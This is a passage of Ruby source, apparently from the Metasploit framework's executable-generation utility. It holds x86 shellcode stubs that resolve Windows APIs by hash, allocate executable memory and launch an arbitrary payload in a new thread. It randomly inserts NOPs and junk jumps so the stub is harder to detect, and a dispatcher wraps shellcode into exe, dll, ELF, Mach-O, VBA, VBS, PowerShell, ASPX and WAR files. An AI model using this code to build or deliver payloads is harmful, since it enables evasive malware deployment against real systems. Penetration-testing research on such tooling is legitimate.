mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
loop loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address
mov eax, [eax+120] ; Get export tables RVA
test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT
mov ecx, [eax+24] ; Get the number of function names
mov ebx, [eax+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module
^
stub_exit = %Q^
; Input: EBP must be the address of 'api_call'.
; Output: None.
; Clobbers: EAX, EBX, (ESP will also be modified)
; Note: Execution is not expected to (successfully) continue past this block
exitfunk:
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function
push byte 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
call ebp ; call EXITFUNK( 0 );
^
stub_alloc = %Q^
pushad ; Save registers
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
#{stub_block}
start: ;
pop ebp ; Pop off the address of 'api_call' for calling later.
allocate_size:
mov esi,#{code.length}
allocate:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; Push the length value of the wrapped code block
push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
mov ebx, eax ; Store allocated address in ebx
mov edi, eax ; Prepare EDI with the new address
mov ecx, esi ; Prepare ECX with the length of the code
call get_payload
got_payload:
pop esi ; Prepare ESI with the source to copy
rep movsb ; Copy the payload to RWX memory
call set_handler ; Configure error handling
exitblock:
#{stub_exit}
set_handler:
xor eax,eax
; push dword [fs:eax]
; mov dword [fs:eax], esp
push eax ; LPDWORD lpThreadId (NULL)
push eax ; DWORD dwCreationFlags (0)
push eax ; LPVOID lpParameter (NULL)
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
push eax ; SIZE_T dwStackSize (0 for default)
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
call ebp ; Spawn payload thread
pop eax ; Skip
; pop eax ; Skip
pop eax ; Skip
popad ; Get our registers back
; sub esp, 44 ; Move stack pointer back past the handler
^
stub_final = %Q^
get_payload:
call got_payload
payload:
; Append an arbitrary payload here
^
stub_alloc.gsub!('short', '')
stub_alloc.gsub!('byte', '')
wrapper = ""
# regs = %W{eax ebx ecx edx esi edi ebp}
cnt_jmp = 0
cnt_nop = 64
stub_alloc.each_line do |line|
line.gsub!(/;.*/, '')
line.strip!
next if line.empty?
if (cnt_nop > 0 and rand(4) == 0)
wrapper << "nop\n"
cnt_nop -= 1
end
if(cnt_nop > 0 and rand(16) == 0)
cnt_nop -= 2
cnt_jmp += 1
wrapper << "jmp autojump#{cnt_jmp}\n"
1.upto(rand(8)+1) do
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
cnt_nop -= 1
end
wrapper << "autojump#{cnt_jmp}:\n"
end
wrapper << line + "\n"
end
#someone who knows how to use metasm please explain the right way to do this.
wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
wrapper << stub_final
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
res = enc.data + code
if which_offset == 'start'
res[soff,4] = [block_offset - (soff + 4)].pack('V')
elsif which_offset == 'end'
res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V')
else
raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
end
res
end
#
# Generate an executable of a given format suitable for running on the
# architecture/platform pair.
#
# This routine is shared between msfencode, rpc, and payload modules (use
# <payload>)
#
# @param framework [Framework]
# @param arch [String] Architecture for the target format; one of the ARCH_*
# constants
# @param plat [#index] platform
# @param code [String] The shellcode for the resulting executable to run
# @param fmt [String] One of the executable formats as defined in
# {.to_executable_fmt_formats}
# @param exeopts [Hash] Passed directly to the approrpriate method for
# generating an executable for the given +arch+/+plat+ pair.
# @return [String] An executable appropriate for the given
# architecture/platform pair.
# @return [nil] If the format is unrecognized or the arch and plat don't
# make sense together.
def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
output = nil
case fmt
when 'asp'
output = Msf::Util::EXE.to_win32pe_asp(framework, code, exeopts)
when 'aspx'
output = Msf::Util::EXE.to_win32pe_aspx(framework, code, exeopts)
when 'dll'
if (not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_win32pe_dll(framework, code, exeopts)
end
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
output = Msf::Util::EXE.to_win64pe_dll(framework, code, exeopts)
end
when 'exe'
if (not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
end
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
output = Msf::Util::EXE.to_win64pe(framework, code, exeopts)
end
when 'exe-small'
if(not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts)
end
when 'exe-only'
if(not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts)
end
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts, "x64")
end
when 'elf'
if (not plat or (plat.index(Msf::Module::Platform::Linux)))
output = case arch
when ARCH_X86,nil then to_linux_x86_elf(framework, code, exeopts)
when ARCH_X86_64 then to_linux_x64_elf(framework, code, exeopts)
when ARCH_X64 then to_linux_x64_elf(framework, code, exeopts)
when ARCH_ARMLE then to_linux_armle_elf(framework, code, exeopts)
when ARCH_MIPSBE then to_linux_mipsbe_elf(framework, code, exeopts)
when ARCH_MIPSLE then to_linux_mipsle_elf(framework, code, exeopts)
end
elsif(plat and (plat.index(Msf::Module::Platform::BSD)))
output = case arch
when ARCH_X86,nil then Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
end
elsif(plat and (plat.index(Msf::Module::Platform::Solaris)))
output = case arch
when ARCH_X86,nil then to_solaris_x86_elf(framework, code, exeopts)
end
end
# this should really be 'jar'
when 'java'
when 'macho'
output = case arch
when ARCH_X86,nil then to_osx_x86_macho(framework, code, exeopts)
when ARCH_X86_64 then to_osx_x64_macho(framework, code, exeopts)
when ARCH_X64 then to_osx_x64_macho(framework, code, exeopts)
when ARCH_ARMLE then to_osx_arm_macho(framework, code, exeopts)
when ARCH_PPC then to_osx_ppc_macho(framework, code, exeopts)
end
when 'vba'
output = Msf::Util::EXE.to_vba(framework, code, exeopts)
when 'vba-exe'
exe = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
output = Msf::Util::EXE.to_exe_vba(exe)
when 'vbs'
output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => false }))
when 'loop-vbs'
output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => true }))
when 'war'
arch ||= [ ARCH_X86 ]
tmp_plat = plat.platforms if plat
tmp_plat ||= Msf::Module::PlatformList.transform('win')
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
output = Msf::Util::EXE.to_jsp_war(exe)
when 'psh'
output = Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
when 'psh-net'
output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
end
output
end
def self.to_executable_fmt_formats
[
'dll','exe','exe-small','exe-only','elf','macho','vba','vba-exe',
'vbs','loop-vbs','asp','aspx','war','psh','psh-net'
]
end
#
# EICAR Canary: https://www.metasploit.com/redmine/projects/framework/wiki/EICAR
#
def self.is_eicar_corrupted?
path = ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "..", "..", "data", "eicar.com"))
return true if not ::File.exists?(path)
begin
data = ::File.read(path)
if Digest::SHA1.hexdigest(data) != "3395856ce81f2b7382dee72602f798b642f14140"
return true
end
rescue ::Exception
return true
end
false
end
end
end
end